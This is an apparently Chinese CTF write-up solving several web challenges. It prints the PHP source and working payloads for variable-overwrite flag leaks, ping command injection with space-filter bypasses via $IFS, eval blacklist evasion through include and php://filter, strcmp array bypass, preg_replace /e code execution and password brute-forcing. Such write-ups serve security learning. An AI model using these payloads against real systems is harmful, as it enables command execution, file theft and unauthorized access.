你可能需要一部Iphone
这里需要iphone的user-agent
网上找了一个
Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
修改phone里的user-agent
即可拿到flag
baby.php
源代码:
<?php
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($msg_giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($msg_getout);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
浅看一下是get传参和post传参
最关键的就是双$也就是变量覆盖了,
因为key必须为flag,对于post来说,你传的value都会赋值给$flag
但对于get来说,你传的value还必须有值。
最后输出$flag的值,如果想获取到flag,那么其值必须不能变动
payload:
?a=flag&flag=a
小心我ping死你
简单试一下过滤,发现;可以使用
ls被过滤了
127.0.0.1;dir
这里空格也被过滤了
可以使用
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
查看index.php
127.0.0.1;tac$IFS$9index.php
index.php代码
print_r($a); echo "
";
$a = shell_exec("ping -c 4 ".$ip);
}
die("you cant get flag !");
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
}
die("no no no you cant use ls it !!!");
else if(preg_match("/ls/", $ip)){
}
die("no no no you cant use base64 it !!!");
else if(preg_match("/base64/", $ip)){
}
die("no no no you cant use cat it !!!");
else if(preg_match("/cat/", $ip)){
}
die("do not bash hacker !!!");
else if(preg_match("/bash/", $ip)){
}
die("do not space hacker !!");
else if(preg_match("/ /", $ip)){
}
die("do not symbol hacker !!");
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
print($ip);
print_r($match);
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
$ip = $_GET['ip'];
if(isset($_GET['ip'])){
发现过滤一堆东西
这里可以使用拼接绕过
payload:
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php
拿到flag
DingDingDIng🐾
源代码:
<?php
show_source(__FILE__);
error_reporting(0);
$you = "you are ?";
extract($_POST);
if($you != 'i am pig'){
echo '<img src="./Ding.gif">'."</br>";
die('Ding Ding Ding ~');
}
$peiqi = ["y","eval","assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$peiqi = array_merge($peiqi, get_defined_functions()['internal']);
foreach($peiqi as $i){
if(stristr($_GET[peiqi], $i)!==false){
echo '<img src="./heihei.jpg">'."</br>";
die('修完bug就可以睡觉了,嘿嘿嘿~');
}
}
eval($_GET[peiqi]);
//flag 在 ./flag.php里
?>
使用拼接绕过
payload:
POST:you=i am pig
GET:?peiqi=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
base64解码即可(别忘把后面/Pgo=删掉)
php is the best !!!
源代码:
<?php
highlight_file(__FILE__);
$who = "who are you?";
$str = "I am a CTF player";
extract($_POST);
if(strcmp($who, $str)){
echo "<h1>$who</h1>";
die();
}
echo '<h1>PHP是世界上最好的语言</h1>';
function Ameng($key, $value){
return preg_replace('/(' . $key . ')/ei', 'strtolower("\\1")', $value);
}
foreach ($_GET as $key => $value){
echo Ameng($key, $value);
}
?>
第一步是绕过strcmp
strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
所以可以构造payload:
who[]=x
接下来是preg_replace()函数/e模式
这里参考https://www.cnblogs.com/W4nder/p/12361646.html
payload:
?\S*=${phpinfo()}
然后搜索flag即可
Poems
先看一下code.py
#flag in /flag
@app.route('/')
def get_poem():
poemname = request.args.get('name')
if not poemname:
return render_template("result.html",message=os.listdir('poems'))
poemdir = os.path.join(os.getcwd(), 'poems')
poempath = os.path.join(poemdir, poemname)
if '..' in poemname:
return 'Illegal substring detected.', 403
if not os.path.exists(poempath):
return 'File not found.', 404
return send_file(poempath)
从 URL 的查询参数中获取名为 'name' 的参数。例如,如果用户访问/?name=example.txt,那么poemname就会被设置为example.txt。
我们打开网站
flag就在文件里面
尝试找到你的小姐姐吧!
开局一张图,剩下全靠编
遇事不决robots.txt一下
运气真好
网址被吃掉了,可以看看Hint里面是什么内容
Hint{4WIKZ2FPWTS3BD7FU6IOLJ4Q46C2PZ4JQ7UYPDHJTWRONHEJ4WS33ZFYTTUKLP7PXSGONHEJ42ZKDZU4RHUK7FPIX6D6RLVQ4S5IXZU4VTTITE7FXSAOLENC566J6===}
base32解码
打开小姐姐照片,搜索flag
/7b6ca699
果然漂亮小姐姐大家都喜欢
上面给的密码显示错误
但因为之前讲了密码为5位数字
直接爆破
一下就爆出来了,还以为要绕过验证码呢
登入即可
提交flag里面{}的内容即可,不用提交flag这个字母,真奇怪